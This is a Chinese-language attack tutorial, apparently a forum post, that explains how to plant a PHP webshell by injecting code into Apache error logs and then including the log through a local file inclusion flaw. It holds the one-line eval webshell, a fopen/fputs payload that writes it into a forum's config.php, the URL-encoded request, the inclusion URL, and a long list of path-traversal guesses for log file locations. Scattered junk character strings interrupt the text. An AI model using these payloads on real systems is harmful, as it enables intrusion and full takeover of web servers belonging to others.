php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。
  W+ J( ]3 U# s& W# d! k
3 f* p! f+ l& \# Y% O5 E9 U比如还是这句一句话木马
<?eval($_POST[cmd]);?>   

0 s5 J( ^7 N& O6 h到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是

<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
- `! h' ]( \2 k  A- D5 \fclose($fp);?>   //在config.php里写入一句木马语句

. [3 U" r; |  L9 N/ E% b0 J我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
转换为
& ?5 U: @- f: Z+ {%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
. @7 Q5 [& P; rfclose%28%24fp%29%3B%3F%3E
我们提交
9 r% ]- T/ R& f5 A  Jhttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
  ~+ T( k8 o& T  l/ _! g%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
( H; S9 S& H& T! G' w! j6 lcmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
4 O# D6 ^) c1 M# F+ t- i& u( Q
这样就错误日志里就记录下了这行写入webshell的代码。
2 n3 l3 d4 _. s9 V+ a我们再来包含日志，提交
7 V# V" \  S2 r- ?http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
1 Q* R; x- F# F; j; Q1 @" j0 v: G
# [0 e! }3 m& t; K' j' F% T$ W这样webshell就写入成功了，config.php里就写入一句木马语句
* ]+ n7 [/ S* p2 l9 G: o; ^OK.
http://www.xxx.com/forum/config.php这个就成了我们的webshell
直接用lanker的客户端一连，主机就是你的了。

PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
7 E, `; g- L6 j( H3 r+ T
$ v" e$ M7 q8 g. U其他的日志路径，你可以去猜，也可以参照这里。
7 m$ H# E# ~* u# d; D3 Y% g% S../../../../../../../../../../var/log/httpd/access_log
( }( v* n4 _# j3 l& p! `../../../../../../../../../../var/log/httpd/error_log
../apache/logs/error.log
../apache/logs/access.log
& f( T6 A1 i6 `% @1 B+ }5 D../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
4 L* I8 R, |% X; F../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../etc/httpd/logs/error_log
3 w8 H0 v( ~# G8 G2 f. R../../../../../../../../../../etc/httpd/logs/error.log
# P, V1 I# |3 {/ t5 _( ~../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/access_log
+ n- z6 G. w5 W- q& w1 `. X8 Z# k../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../var/log/apache/access_log
) q) }, N" T) M( i3 B0 [: @../../../../../../../../../../var/log/apache/access.log
! \8 A( O- I9 m/ I../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/www/logs/error_log
/ t: }2 p  [. j9 b1 d# U../../../../../../../../../../var/www/logs/error.log
& {5 ], s- \4 {" L../../../../../../../../../../usr/local/apache/logs/error_log
, L. n% c& u3 T0 V+ ^( G  Q../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../var/log/apache/error.log
% W9 A0 d. @" f  D/ F9 |8 j: a. |../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/log/error_log
- G% C* V( P+ T) @4 H/var/log/httpd/access_log      
/var/log/httpd/error_log     
1 I% O& E# V! y" X../apache/logs/error.log     
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
& X) b! ]& b3 [: {9 S. N% c../../../apache/logs/error.log
../../../apache/logs/access.log
) m2 i8 o6 L6 m, C5 k. H/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
+ x8 }* `" U$ a: h/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
2 W, I* a3 X( K1 W+ [' S/ |/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
6 G% ]% d+ }/ ?! h- z% F/var/log/apache/access_log
/var/log/apache/access.log
! m1 ^# ]0 E! S) T/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
( [0 S6 T, H: ?5 L/usr/local/apache/logs/error_log
0 F) H0 V9 H5 j# o/usr/local/apache/logs/error.log
0 ]9 N$ n1 |/ F/ }/ L/var/log/apache/error_log
; Z' o4 C9 E+ V/ [. ^/var/log/apache/error.log
/var/log/access_log
" u0 w* Q: m& w9 r9 ?% U/var/log/error_log